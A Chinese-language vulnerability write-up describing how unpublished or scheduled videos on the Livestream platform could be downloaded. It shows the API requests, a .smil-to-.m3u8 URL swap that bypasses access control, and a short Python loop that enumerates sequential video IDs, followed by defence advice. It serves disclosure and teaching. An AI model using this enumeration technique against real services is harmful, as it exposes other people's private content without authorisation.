挖洞经验 | 下载Livestream网站中用户未公开或定期排播视频
字数 829 2025-08-18 11:38:28
Livestream网站未公开视频下载漏洞分析及利用技术
漏洞概述
本技术文档详细分析Livestream网站存在的一个安全漏洞,该漏洞允许攻击者获取任意注册用户的未公开或定期排播的视频内容。漏洞涉及信息泄露和未授权访问问题,已于2019年报告给厂商并修复。
目标平台介绍
Livestream是一个专业的视频流媒体平台,主要特点包括:
- 支持通过互联网直播视频
- 多平台观看支持(PC、iOS、Android、Roku和Apple TV)
- 知名商业用户包括:Spotify、Gannett、世界经济论坛、特斯拉汽车、SpaceX、NBA等
漏洞发现过程
初始发现
- 注册用户上传视频并设置为"下周发布"状态
- 使用Burp Suite拦截上传请求
- 分析请求包发现关键API端点:
POST /owner/accounts/28088370/events/8514908/videos HTTP/1.1 Host: api.new.livestream.com- 28088370:用户ID
- 8514908:操作事件ID
响应分析
服务端返回JSON响应包含视频元数据:
{
"id":188597955,
"event_id":8598251,
"event":{
"id":8598251,
"short_name":null,
"full_name":"testerx",
"description":null,
"owner_account_id":28301059,
"owner":{
"id":28301059,
"full_name":"abs asset"
}
},
"qualities":null,
"akamai_stream_id": "..."
}
视频播放分析
- 播放视频时捕获.m3u8流视频文件请求:
GET /owner/auth/b0128101059.4bd802ced1b90c02e9c75e6284c87a02.1552398275601.1552571075602.4UEXC0RJKwnt0cXEI1y0yA~~00000000000000.accounts/28088370/events/8514908/videos/185422358.secure.m3u8 Host: player-api.new.livestream.com - 服务端返回HLS播放列表:
#EXTM3U #EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=150000,RESOLUTION=480x272,CODECS="avc1.77.31,mp4a.40.2" https://vod.livestream.com/5c87f404_a2ba525be7719d247853a38ab4fae8e260148a8e/events/00000000008332eb/be94b4a1-ee64-4159-a83e-2a8c42e28ce3_150.m3u8 ...
技术细节
ID规律发现
- 视频ID(video id)按上传顺序递增1
- 用户ID和事件ID可通过公开资料获取
SMIL文件发现
在初始响应中发现SMIL文件相关端点:
{
"smil_url":"http://api.new.livestream.com/accounts/28088370/events/8514908/videos/185422358.smil",
"secure_smil_url":"https://api.new.livestream.com/accounts/28088370/events/8514908/videos/185422358.secure.smil"
}
关键突破点
将.smil替换为.m3u8可绕过访问限制:
http://api.new.livestream.com/accounts/28088370/events/8514908/videos/185422358.m3u8
漏洞利用方法
手动利用步骤
- 获取目标用户的公开account_id和event_id
- 确定初始video_id(可通过自己上传视频获取)
- 构造URL并递增video_id进行测试:
http://api.new.livestream.com/accounts/[account_id]/events/[event_id]/videos/[video_id].m3u8 - 检查响应状态码(200 OK表示存在可访问视频)
自动化脚本实现
基本算法:
for video_id in range(known_id, known_id+100):
url = f"http://api.new.livestream.com/accounts/{account_id}/events/{event_id}/videos/{video_id}.m3u8"
response = requests.get(url)
if response.status_code == 200:
save_video(response.content)
防御建议
针对此类漏洞,建议采取以下防护措施:
- 对未公开视频实施严格的访问控制
- 不要依赖可预测的ID序列
- 对敏感端点实施身份验证
- 定期进行安全审计和渗透测试
法律声明
本技术文档仅用于安全研究和教育目的。未经授权访问他人数据是违法行为,研究者应在合法授权范围内进行测试,并遵循负责任的漏洞披露流程。